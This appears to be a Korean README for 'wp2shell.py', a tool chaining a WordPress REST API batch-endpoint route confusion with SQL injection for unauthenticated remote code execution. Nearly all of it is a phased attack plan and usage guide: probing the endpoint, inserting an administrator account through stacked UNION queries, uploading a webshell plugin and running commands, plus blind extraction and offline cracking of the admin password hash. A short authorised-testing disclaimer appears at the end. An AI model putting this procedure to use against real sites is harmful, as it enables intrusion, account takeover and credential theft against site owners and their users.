
WordPress 코어의 인증되지 않은 RCE (CVE-2026-63030 + CVE-2026-60137)
WordPress REST API 라우트 혼동 (CVE-2026-63030) + SQL 인젝션 (CVE-2026-60137)을 배치 엔드포인트에서 악용하여 원격 코드 실행을 달성합니다.
WordPress REST API 배치 엔드포인트(/batch/v1)는 요청 라우팅을 제대로 격리하지 않습니다. 배치 요청을 서로 중첩시킴으로써 공격자는 WordPress의 일반 권한 검사를 우회하는 내부 요청을 만들 수 있습니다. 핵심 지표는 응답의 parse_path_failed + block_cannot_read 오류 패턴입니다. 이는 라우트 혼동이 악용 가능함을 확인해 줍니다.
배치 엔드포인트를 통해 요청이 잘못 라우팅되면 GET /wp/v2/posts의 author_exclude 매개변수가 제대로 필터링되지 않습니다. 이를 통해 스택 쿼리와 UNION 문을 사용한 SQL 인젝션이 가능해지며, 모든 작업에 인증이 필요하지 않습니다.
Phase 1: Probe
─────────────
Check batch endpoint reachable (HTTP 207)
Verify route confusion via marker requests
Confirm SQL injection via timing/oracle
Phase 2: UNION → RCE (fast path)
─────────────────────────────
If UNION injection works:
1. Detect table prefix (blind or brute-force common ones)
2. CREATE ADMIN USER via stacked UNION INSERT queries
- Bcrypt hash generated via PHP on attacker machine
- Insert row into {prefix}_users + {prefix}_usermeta
- New user gets administrator capabilities
3. Login + Deploy webshell as WordPress plugin
4. Execute commands via ?t=TOKEN&c=id
Phase 3: Blind → Hash (fallback path)
─────────────────────────────────
If UNION is blocked but blind SQLi works:
1. Extract MySQL version, user, database name
2. Extract table prefix from information_schema
3. Extract admin hash from {prefix}_users WHERE id=1
4. Crack offline: hashcat -m 3200 hash.txt wordlist.txt
5. Use --user / --pass --cmd id with cracked password
Phase 4: Credential login
──────────────────────
If --user/--pass provided:
1. Login via wp-login.php or REST API Basic Auth
2. Upload webshell as plugin
3. Execute commands
# Auto mode — check, UNION, create admin, deploy webshell
python3 wp2shell.py https://target.com
# With known credentials (e.g., after cracking hash)
python3 wp2shell.py https://target.com --user admin --pass P@ssw0rd --cmd id
# UNION only (skip blind fallback)
python3 wp2shell.py https://target.com --union-only
# Blind extraction only (skip UNION attempt)
python3 wp2shell.py https://target.com --blind-only
# Debug via proxy
python3 wp2shell.py https://target.com --proxy http://127.0.0.1:8080
# Custom SLEEP duration for time-based blind (default 0.01s)
python3 wp2shell.py https://target.com --sleep 0.5
이 도구는 승인된 보안 테스트 전용입니다. 사용 전에 대상 소유자의 명시적 허가를 받아야 합니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
| Flag | Description |
|---|
--proxy | HTTP 프록시 (예: Burp Suite) |
--user | 관리자 사용자 이름 (로그인용) |
--pass | 관리자 비밀번호 |
--cmd | 대상에서 실행할 명령 |
--union-only | 블라인드 추출 건너뛰기 |
--blind-only | UNION 시도 건너뛰기 |
--sleep | 시간 기반 블라인드에 사용할 SLEEP 초 |